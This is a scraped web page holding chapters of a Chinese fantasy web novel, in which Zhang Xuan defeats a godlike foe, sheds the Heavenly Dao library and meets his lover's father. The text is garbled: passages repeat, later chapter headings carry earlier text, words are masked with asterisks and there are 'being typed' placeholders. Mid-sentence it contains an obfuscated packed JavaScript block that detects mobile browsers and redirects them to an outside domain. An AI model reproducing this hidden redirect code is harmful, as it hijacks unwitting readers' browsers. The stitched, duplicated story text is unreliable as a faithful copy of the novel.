当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第三百五十九章 要的就是危险! 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16139566|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第三百六十章 怎么是你? 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 